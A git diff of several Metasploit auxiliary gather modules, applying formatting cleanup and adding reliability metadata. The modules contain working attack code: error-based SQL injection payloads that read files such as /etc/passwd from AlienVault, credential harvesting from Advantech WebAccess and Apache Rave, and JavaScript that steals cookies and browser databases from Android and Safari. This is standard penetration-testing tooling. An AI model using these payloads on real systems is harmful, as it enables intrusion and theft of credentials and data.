mssql_parse_reply(resp,info) + info = { errors: [] } + info = mssql_parse_reply(resp, info) info end @@ -121,26 +126,27 @@ def run fuzz_strings do |str| # capped at 16-bit lengths next if str.length > 65535 + cnt += 1 - if(cnt % 100 == 0) + if (cnt % 100 == 0) print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}") end begin - do_login(:uname => str, :timeout => 0.50) + do_login(uname: str, timeout: 0.50) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e ensure disconnect end - if(not @connected) - if(last_str) - print_status("The service may have crashed: method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: method=#{last_inp} string=#{last_str.unpack('H*')[0]} error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end diff --git a/modules/auxiliary/gather/advantech_webaccess_creds.rb b/modules/auxiliary/gather/advantech_webaccess_creds.rb index 9ac53b2c64904..308b0ed4b2bfa 100644 --- a/modules/auxiliary/gather/advantech_webaccess_creds.rb +++ b/modules/auxiliary/gather/advantech_webaccess_creds.rb @@ -6,35 +6,42 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - def initialize(info={}) - super(update_info(info, - 'Name' => "Advantech WebAccess 8.1 Post Authentication Credential Collector", - 'Description' => %q{ - This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials. - Although authentication is required, any level of user permission can exploit this vulnerability. - - Note that 8.2 is not suitable for this. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "Advantech WebAccess 8.1 Post Authentication Credential Collector", + 'Description' => %q{ + This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials. + Although authentication is required, any level of user permission can exploit this vulnerability. + + Note that 8.2 is not suitable for this. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'h00die', # Pointed out the obvious during a PR review for CVE-2017-5154 'sinn3r', # Metasploit module ], - 'References' => - [ + 'References' => [ ['CVE', '2016-5810'], ['URL', 'https://github.com/rapid7/metasploit-framework/pull/7859#issuecomment-274305229'] ], - 'DisclosureDate' => '2017-01-21' - )) + 'DisclosureDate' => '2017-01-21', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptString.new('WEBACCESSUSER', [true, 'Username for Advantech WebAccess', 'admin']), OptString.new('WEBACCESSPASS', [false, 'Password for Advantech WebAccess', '']), OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']), - ]) + ] + ) end def do_login @@ -43,15 +50,15 @@ def do_login uri = normalize_uri(target_uri.path, 'broadweb', 'user', 'signin.asp') res = send_request_cgi({ - 'method' => 'POST', - 'uri' => uri, + 'method' => 'POST', + 'uri' => uri, 'vars_post' => { 'page' => '/', - 'pos' => '', + 'pos' => '', 'username' => datastore['WEBACCESSUSER'], 'password' => datastore['WEBACCESSPASS'], - 'remMe' => '', - 'submit1' => 'Login' + 'remMe' => '', + 'submit1' => 'Login' } }) @@ -77,11 +84,11 @@ def do_login def get_user_cred_detail(sid, user) vprint_status("Gathering password for user: #{user}") - uri = normalize_uri(target_uri.path, 'broadWeb','user', 'upAdminPg.asp') + uri = normalize_uri(target_uri.path, 'broadWeb', 'user', 'upAdminPg.asp') res = send_request_cgi({ 'method' => 'GET', - 'uri' => uri, + 'uri' => uri, 'cookie' => sid, 'vars_get' => { 'uname' => user @@ -106,7 +113,7 @@ def get_users_page(sid) res = send_request_cgi({ 'method' => 'GET', - 'uri' => uri, + 'uri' => uri, 'cookie' => sid }) diff --git a/modules/auxiliary/gather/alienvault_iso27001_sqli.rb b/modules/auxiliary/gather/alienvault_iso27001_sqli.rb index 27fb23ab51e99..25dd7a5f8c757 100644 --- a/modules/auxiliary/gather/alienvault_iso27001_sqli.rb +++ b/modules/auxiliary/gather/alienvault_iso27001_sqli.rb @@ -6,45 +6,50 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - def initialize(info={}) - super(update_info(info, - 'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read", - 'Description' => %q{ - AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG - generation PHP file. This module exploits this to read an arbitrary file from - the file system. Any authenticated user is able to exploit it, as administrator - privileges aren't required. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Brandon Perry ' #meatpistol module + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read", + 'Description' => %q{ + AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG + generation PHP file. This module exploits this to read an arbitrary file from + the file system. Any authenticated user is able to exploit it, as administrator + privileges aren't required. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Brandon Perry ' # meatpistol module ], - 'References' => - [ + 'References' => [ ['EDB', '32644'] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'SSL' => true }, - 'Platform' => ['linux'], - 'Privileged' => false, - 'DisclosureDate' => '2014-03-30')) - - register_options( + 'Platform' => ['linux'], + 'Privileged' => false, + 'DisclosureDate' => '2014-03-30', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) + + register_options( [ Opt::RPORT(443), OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]), OptString.new('USERNAME', [ true, 'Single username' ]), OptString.new('PASSWORD', [ true, 'Single password' ]), OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]) - ]) - + ] + ) end def run - print_status("Get a valid session cookie...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php') @@ -113,7 +118,7 @@ def run full << str vprint_status(str) - i = i+1 + i = i + 1 end path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH']) @@ -121,9 +126,9 @@ def run end def sqli(left_marker, right_marker, i, cookie, filename) - pay = "2014-02-28' AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}," + pay = "2014-02-28' AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}," pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR)," - pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS" + pay << "0x20)),#{(50 * i) + 1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS" pay << " GROUP BY x)a) AND 'xnDa'='xnDa" get = { @@ -145,4 +150,3 @@ def sqli(left_marker, right_marker, i, cookie, filename) end end end - diff --git a/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb b/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb index 65c0dd31cd70c..9688d99dea4b3 100644 --- a/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb +++ b/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb @@ -6,46 +6,51 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - def initialize(info={}) - super(update_info(info, - 'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read", - 'Description' => %q{ - AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against - newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability - to read an arbitrary file from the file system. Any authenticated user is able to exploit - this, as administrator privileges are not required. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read", + 'Description' => %q{ + AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against + newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability + to read an arbitrary file from the file system. Any authenticated user is able to exploit + this, as administrator privileges are not required. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Chris Hebert ' ], - 'References' => - [ + 'References' => [ ['CVE', '2014-5383'], ['OSVDB', '106815'], ['EDB', '33317'], ['URL', 'http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower'] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'SSL' => true }, - 'Privileged' => false, - 'DisclosureDate' => '2014-05-09')) - - register_options([ - Opt::RPORT(443), - OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]), - OptString.new('USERNAME', [ true, 'Single username' ]), - OptString.new('PASSWORD', [ true, 'Single password' ]), - OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]), - OptInt.new('SQLI_TIMEOUT', [ true, 'Specify the maximum time to exploit the sqli (in seconds)', 60]) - ]) + 'Privileged' => false, + 'DisclosureDate' => '2014-05-09', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) + + register_options([ + Opt::RPORT(443), + OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]), + OptString.new('USERNAME', [ true, 'Single username' ]), + OptString.new('PASSWORD', [ true, 'Single password' ]), + OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]), + OptInt.new('SQLI_TIMEOUT', [ true, 'Specify the maximum time to exploit the sqli (in seconds)', 60]) + ]) end def run - print_status("Get a valid session cookie...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php') @@ -117,7 +122,7 @@ def run full << str vprint_status(str) - i = i+1 + i = i + 1 end end rescue ::Timeout::Error @@ -134,9 +139,9 @@ def run end def sqli(left_marker, right_marker, sql_true, i, cookie, filename) - pay = "X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}," + pay = "X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}," pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR)," - pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS" + pay << "0x20)),#{(50 * i) + 1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS" pay << " GROUP BY x)a) AND ('0x#{sql_true.unpack("H*")[0]}'='0x#{sql_true.unpack("H*")[0]}" get = { diff --git a/modules/auxiliary/gather/android_browser_file_theft.rb b/modules/auxiliary/gather/android_browser_file_theft.rb index 254a5ae100261..0582119de6dac 100644 --- a/modules/auxiliary/gather/android_browser_file_theft.rb +++ b/modules/auxiliary/gather/android_browser_file_theft.rb @@ -3,36 +3,42 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report include Msf::Exploit::JSObfu - def initialize(info={}) - super(update_info(info, - 'Name' => 'Android Browser File Theft', - 'Description' => %q{ - This module steals the cookie, password, and autofill databases from the - Browser application on AOSP 4.3 and below. - }, - 'Author' => [ - 'Rafay Baloch', # Found UXSS bug in Android Browser - 'joev' # File redirect and msf module - ], - 'License' => MSF_LICENSE, - 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], - 'PassiveActions' => [ 'WebServer' ], - 'References' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Android Browser File Theft', + 'Description' => %q{ + This module steals the cookie, password, and autofill databases from the + Browser application on AOSP 4.3 and below. + }, + 'Author' => [ + 'Rafay Baloch', # Found UXSS bug in Android Browser + 'joev' # File redirect and msf module + ], + 'License' => MSF_LICENSE, + 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], + 'PassiveActions' => [ 'WebServer' ], + 'References' => [ # patch for file redirection, 2014 ['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'], ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=90222'] # the UXSS ], - 'DefaultAction' => 'WebServer' - )) + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) - register_options([ + register_options([ OptString.new('ADDITIONAL_FILES', [ false, 'Comma-separated list of addition file URLs to steal.', @@ -63,7 +69,7 @@ def process_post(cli, request) data = JSON.parse(request.body) contents = hex2bin(data['data']) file = File.basename(data['url']) - print_good("File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}") + print_good("File received: #{(contents.bytesize.to_f / 1000).round(2)}kb #{file}") loot_path = store_loot( file, 'application/x-sqlite3', @@ -75,7 +81,6 @@ def process_post(cli, request) print_good("Saved to: #{loot_path}") end - def file_urls default_urls = [ 'file:///data/data/com.android.browser/databases/webviewCookiesChromium.db', @@ -91,7 +96,7 @@ def file_urls default_urls = [] end - default_urls + (datastore['ADDITIONAL_FILES']||'').split(',') + default_urls + (datastore['ADDITIONAL_FILES'] || '').split(',') end def exploit_html @@ -140,7 +145,7 @@ def exploit_js return (c.length < 2) ? 0+c : c; }).join(new String); /*ensures there are no 'not allowed' responses that appear to be valid data*/ - if (hex.length && hex.indexOf('#{Rex::Text.to_hex("not allowed","")}') === -1) { + if (hex.length && hex.indexOf('#{Rex::Text.to_hex("not allowed", "")}') === -1) { top.postMessage({data:hex,url:location.href}, '*'); } parent.postMessage(1,'*'); diff --git a/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb b/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb index 89978d712b1de..62a28a91136ca 100644 --- a/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb +++ b/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb @@ -3,41 +3,47 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report include Msf::Exploit::JSObfu - def initialize(info={}) - super(update_info(info, - 'Name' => 'Android Browser "Open in New Tab" Cookie Theft', - 'Description' => %q{ - In Android's stock AOSP Browser application and WebView component, the - "open in new tab" functionality allows a file URL to be opened. On - versions of Android before 4.4, the path to the sqlite cookie - database could be specified. By saving a cookie containing a - - -EOS + html = <<~EOS + + + + + + EOS print_status("Sending payload HTML ...") send_response_html(cli, html, - { - 'Cache-Control' => 'public', - 'Content-Description' => 'File Transfer', - 'Content-Disposition' => "attachment; filename=#{filename}", - 'Content-Transfer-Encoding' => 'binary', - 'Content-Type' => 'text/html' - }) - + { + 'Cache-Control' => 'public', + 'Content-Description' => 'File Transfer', + 'Content-Disposition' => "attachment; filename=#{filename}", + 'Content-Transfer-Encoding' => 'binary', + 'Content-Type' => 'text/html' + }) else - payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8)) - - html = <<-EOS - - - - - -EOS + payload_fn = Rex::Text.rand_text_alphanumeric(4 + rand(8)) + + html = <<~EOS + + + + + + EOS print_status("Sending initial HTML ...") send_response_html(cli, html) @@ -134,7 +142,6 @@ def on_request_uri(cli, request) end def process_post(cli, request) - results = {} if request and request.body @@ -143,9 +150,9 @@ def process_post(cli, request) if parts.length != 2 print_error("Weird, we got a var that doesn't contain an equals: #{parts.inspect}") else - fln,fld = parts + fln, fld = parts fld = Rex::Text.uri_decode(fld).unpack('m').first - start = fln.slice!(0,1) + start = fln.slice!(0, 1) if start == "f" results[fln] ||= {} results[fln][:filename] = fld @@ -165,7 +172,7 @@ def process_post(cli, request) fn.gsub!(/[\/\\]/, '.') fn.gsub!(/^\./, '') - store_loot('android.fs.'+fn, 'application/octet-stream', cli.peerhost, data, fn) + store_loot('android.fs.' + fn, 'application/octet-stream', cli.peerhost, data, fn) } send_response_html(cli, "thx") diff --git a/modules/auxiliary/gather/android_object_tag_webview_uxss.rb b/modules/auxiliary/gather/android_object_tag_webview_uxss.rb index 7511ba4888447..d505725632869 100644 --- a/modules/auxiliary/gather/android_object_tag_webview_uxss.rb +++ b/modules/auxiliary/gather/android_object_tag_webview_uxss.rb @@ -9,37 +9,45 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'Android Open Source Platform (AOSP) Browser UXSS', - 'Description' => %q{ - This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in - all versions of Android's open source stock browser before 4.4, and Android apps running - on < 4.4 that embed the WebView component. If successful, an attacker can leverage this bug - to scrape both cookie data and page contents from a vulnerable browser window. - - Target URLs that use X-Frame-Options can not be exploited with this vulnerability. - - Some sample UXSS scripts are provided in data/exploits/uxss. - }, - 'Author' => [ - 'Rafay Baloch', # Original discovery, disclosure - 'joev' # Metasploit module - ], - 'License' => MSF_LICENSE, - 'Actions' => [ - [ 'WebServer' ] - ], - 'PassiveActions' => [ - 'WebServer' - ], - 'References' => [ - [ 'URL', 'http://www.rafayhackingarticles.net/2014/10/a-tale-of-another-sop-bypass-in-android.html'], - [ 'URL', 'https://android.googlesource.com/platform/external/webkit/+/109d59bf6fe4abfd001fc60ddd403f1046b117ef' ], - [ 'URL', 'http://trac.webkit.org/changeset/96826/webkit' ] - ], - 'DefaultAction' => 'WebServer', - 'DisclosureDate' => '2014-10-04' - )) + super( + update_info( + info, + 'Name' => 'Android Open Source Platform (AOSP) Browser UXSS', + 'Description' => %q{ + This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in + all versions of Android's open source stock browser before 4.4, and Android apps running + on < 4.4 that embed the WebView component. If successful, an attacker can leverage this bug + to scrape both cookie data and page contents from a vulnerable browser window. + + Target URLs that use X-Frame-Options can not be exploited with this vulnerability. + + Some sample UXSS scripts are provided in data/exploits/uxss. + }, + 'Author' => [ + 'Rafay Baloch', # Original discovery, disclosure + 'joev' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'WebServer' ] + ], + 'PassiveActions' => [ + 'WebServer' + ], + 'References' => [ + [ 'URL', 'http://www.rafayhackingarticles.net/2014/10/a-tale-of-another-sop-bypass-in-android.html'], + [ 'URL', 'https://android.googlesource.com/platform/external/webkit/+/109d59bf6fe4abfd001fc60ddd403f1046b117ef' ], + [ 'URL', 'http://trac.webkit.org/changeset/96826/webkit' ] + ], + 'DefaultAction' => 'WebServer', + 'DisclosureDate' => '2014-10-04', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options([ OptString.new('TARGET_URLS', [ @@ -67,7 +75,7 @@ def on_request_uri(cli, request) collect_data(request) send_response_html(cli, '') else - payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8)) + payload_fn = Rex::Text.rand_text_alphanumeric(4 + rand(8)) domains = datastore['TARGET_URLS'].split(',') script = js_obfuscate <<-EOS @@ -81,7 +89,7 @@ def on_request_uri(cli, request) 'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+ 'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(custom_js)}"'+ '));}void(0);'; - obj.innerHTML = '#{Rex::Text.rand_text_alphanumeric(rand(12)+5)}'; + obj.innerHTML = '#{Rex::Text.rand_text_alphanumeric(rand(12) + 5)}'; }; document.body.appendChild(obj); }); diff --git a/modules/auxiliary/gather/android_stock_browser_uxss.rb b/modules/auxiliary/gather/android_stock_browser_uxss.rb index 5c539bc92ea28..2a105422c84c5 100644 --- a/modules/auxiliary/gather/android_stock_browser_uxss.rb +++ b/modules/auxiliary/gather/android_stock_browser_uxss.rb @@ -8,40 +8,48 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'Android Open Source Platform (AOSP) Browser UXSS', - 'Description' => %q{ - This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in - all versions of Android's open source stock browser before 4.4, and Android apps running - on < 4.4 that embed the WebView component. If successful, an attacker can leverage this bug - to scrape both cookie data and page contents from a vulnerable browser window. - - If your target URLs use X-Frame-Options, you can enable the "BYPASS_XFO" option, - which will cause a popup window to be used. This requires a click from the user - and is much less stealthy, but is generally harmless-looking. - - By supplying a CUSTOM_JS parameter and ensuring CLOSE_POPUP is set to false, this - module also allows running arbitrary javascript in the context of the targeted URL. - Some sample UXSS scripts are provided in data/exploits/uxss. - }, - 'Author' => [ - 'Rafay Baloch', # Original discovery, disclosure - 'joev' # Metasploit module - ], - 'License' => MSF_LICENSE, - 'Actions' => [ - [ 'WebServer' ] - ], - 'PassiveActions' => [ - 'WebServer' - ], - 'References' => [ - [ 'URL', 'http://1337day.com/exploit/description/22581' ], - [ 'OSVDB', '110664' ], - [ 'CVE', '2014-6041' ] - ], - 'DefaultAction' => 'WebServer' - )) + super( + update_info( + info, + 'Name' => 'Android Open Source Platform (AOSP) Browser UXSS', + 'Description' => %q{ + This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in + all versions of Android's open source stock browser before 4.4, and Android apps running + on < 4.4 that embed the WebView component. If successful, an attacker can leverage this bug + to scrape both cookie data and page contents from a vulnerable browser window. + + If your target URLs use X-Frame-Options, you can enable the "BYPASS_XFO" option, + which will cause a popup window to be used. This requires a click from the user + and is much less stealthy, but is generally harmless-looking. + + By supplying a CUSTOM_JS parameter and ensuring CLOSE_POPUP is set to false, this + module also allows running arbitrary javascript in the context of the targeted URL. + Some sample UXSS scripts are provided in data/exploits/uxss. + }, + 'Author' => [ + 'Rafay Baloch', # Original discovery, disclosure + 'joev' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'WebServer' ] + ], + 'PassiveActions' => [ + 'WebServer' + ], + 'References' => [ + [ 'URL', 'http://1337day.com/exploit/description/22581' ], + [ 'OSVDB', '110664' ], + [ 'CVE', '2014-6041' ] + ], + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options([ OptString.new('TARGET_URLS', [ @@ -79,7 +87,7 @@ def on_request_uri(cli, request) collect_data(request) send_response_html(cli, '') else - payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8)) + payload_fn = Rex::Text.rand_text_alphanumeric(4 + rand(8)) domains = datastore['TARGET_URLS'].split(',') html = <<-EOS diff --git a/modules/auxiliary/gather/apache_rave_creds.rb b/modules/auxiliary/gather/apache_rave_creds.rb index c0f0b90840fd7..82c94acef3957 100644 --- a/modules/auxiliary/gather/apache_rave_creds.rb +++ b/modules/auxiliary/gather/apache_rave_creds.rb @@ -8,30 +8,36 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'Apache Rave User Information Disclosure', - 'Description' => %q{ - This module exploits an information disclosure in Apache Rave 0.20 and prior. The - vulnerability exists in the RPC API, which allows any authenticated user to - disclose information about all the users, including their password hashes. In order - to authenticate, the user can provide his own credentials. Also the default users - installed with Apache Rave 0.20 will be tried automatically. This module has been - successfully tested on Apache Rave 0.20. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Apache Rave User Information Disclosure', + 'Description' => %q{ + This module exploits an information disclosure in Apache Rave 0.20 and prior. The + vulnerability exists in the RPC API, which allows any authenticated user to + disclose information about all the users, including their password hashes. In order + to authenticate, the user can provide his own credentials. Also the default users + installed with Apache Rave 0.20 will be tried automatically. This module has been + successfully tested on Apache Rave 0.20. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Andreas Guth', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2013-1814' ], [ 'OSVDB', '91235' ], [ 'BID', '58455' ], [ 'EDB', '24744'] - ] - )) + ], + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ @@ -39,7 +45,8 @@ def initialize(info = {}) OptString.new('TARGETURI', [true, 'Path to Apache Rave Portal', '/portal']), OptString.new('USERNAME', [ false, 'Apache Rave Username' ]), OptString.new('PASSWORD', [ false, 'Apache Rave Password' ]), - ]) + ] + ) end def post_auth? @@ -50,8 +57,8 @@ def login(username, password) uri = normalize_uri(target_uri.to_s, "j_spring_security_check") res = send_request_cgi({ - 'uri' => uri, - 'method' => 'POST', + 'uri' => uri, + 'method' => 'POST', 'vars_post' => { 'j_password' => username, 'j_username' => password @@ -69,8 +76,8 @@ def disclose(cookie, offset) uri = normalize_uri(target_uri.to_s, "app", "api", "rpc", "users", "get") res = send_request_cgi({ - 'uri' => uri, - 'method' => 'GET', + 'uri' => uri, + 'method' => 'GET', 'vars_get' => { 'offset' => "#{offset}" }, @@ -82,7 +89,6 @@ def disclose(cookie, offset) else return nil end - end def setup @@ -130,20 +136,18 @@ def report_cred(opts) create_credential_login(login_data) end - def run - print_status("#{rhost}:#{rport} - Fingerprinting...") res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.to_s, "login"), - 'method' => 'GET', + 'uri' => normalize_uri(target_uri.to_s, "login"), + 'method' => 'GET', }) if not res print_error("#{rhost}:#{rport} - No response, aborting...") return elsif res.code == 200 and res.body =~ /Apache Rave ([0-9\.]*)<\/span>/ - version =$1 + version = $1 if version <= "0.20" print_good("#{rhost}:#{rport} - Apache Rave #{version} found. Vulnerable. Proceeding...") else @@ -229,6 +233,5 @@ def run end end - end end diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb index 0f3b7cff77b3d..2e35b3c9ffd3e 100644 --- a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb +++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb @@ -3,38 +3,45 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::FtpServer include Msf::Auxiliary::Report - def initialize(info={}) - super(update_info(info, - 'Name' => 'Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft', - 'Description' => %q{ - A vulnerability exists in versions of OSX, iOS, and Windows Safari released - before April 8, 2015 that allows the non-HTTPOnly cookies of any - domain to be stolen. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Jouko Pynnonen', # Initial discovery and disclosure - 'joev', # msf module - ], - 'References' => [ - [ 'CVE', '2015-1126' ], - [ 'URL', 'https://seclists.org/fulldisclosure/2015/Apr/30' ] - ], - 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], - 'PassiveActions' => [ 'WebServer' ], - 'DefaultAction' => 'WebServer', - 'DisclosureDate' => '2015-04-08' - )) + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft', + 'Description' => %q{ + A vulnerability exists in versions of OSX, iOS, and Windows Safari released + before April 8, 2015 that allows the non-HTTPOnly cookies of any + domain to be stolen. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Jouko Pynnonen', # Initial discovery and disclosure + 'joev', # msf module + ], + 'References' => [ + [ 'CVE', '2015-1126' ], + [ 'URL', 'https://seclists.org/fulldisclosure/2015/Apr/30' ] + ], + 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], + 'PassiveActions' => [ 'WebServer' ], + 'DefaultAction' => 'WebServer', + 'DisclosureDate' => '2015-04-08', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options([ OptString.new('URIPATH', [false, 'The URI to use for this exploit (default is random)']), - OptPort.new('SRVPORT', [true, 'The local port to use for the FTP server', 5555 ]), - OptPort.new('HTTPPORT', [true, 'The HTTP server port', 8080]), + OptPort.new('SRVPORT', [true, 'The local port to use for the FTP server', 5555 ]), + OptPort.new('HTTPPORT', [true, 'The HTTP server port', 8080]), OptString.new('TARGET_DOMAINS', [ true, 'The comma-separated list of domains to steal non-HTTPOnly cookies from.', @@ -43,7 +50,6 @@ def initialize(info={}) ]) end - # # Start the FTP and HTTP server # @@ -54,12 +60,11 @@ def run @http_service.wait end - # # Handle the HTTP request and return a response. Code borrowed from: # msf/core/exploit/http/server.rb # - def start_http(opts={}) + def start_http(opts = {}) # Ensture all dependencies are present before initializing HTTP use_zlib @@ -74,7 +79,7 @@ def start_http(opts={}) opts = { 'ServerHost' => datastore['SRVHOST'], 'ServerPort' => datastore['HTTPPORT'], - 'Comm' => comm + 'Comm' => comm }.update(opts) # Start a new HTTP server @@ -84,7 +89,7 @@ def start_http(opts={}) opts['ServerHost'], datastore['SSL'], { - 'Msf' => framework, + 'Msf' => framework, 'MsfExploit' => self, }, opts['Comm'], @@ -97,8 +102,8 @@ def start_http(opts={}) # provided. uopts = { 'Proc' => Proc.new { |cli, 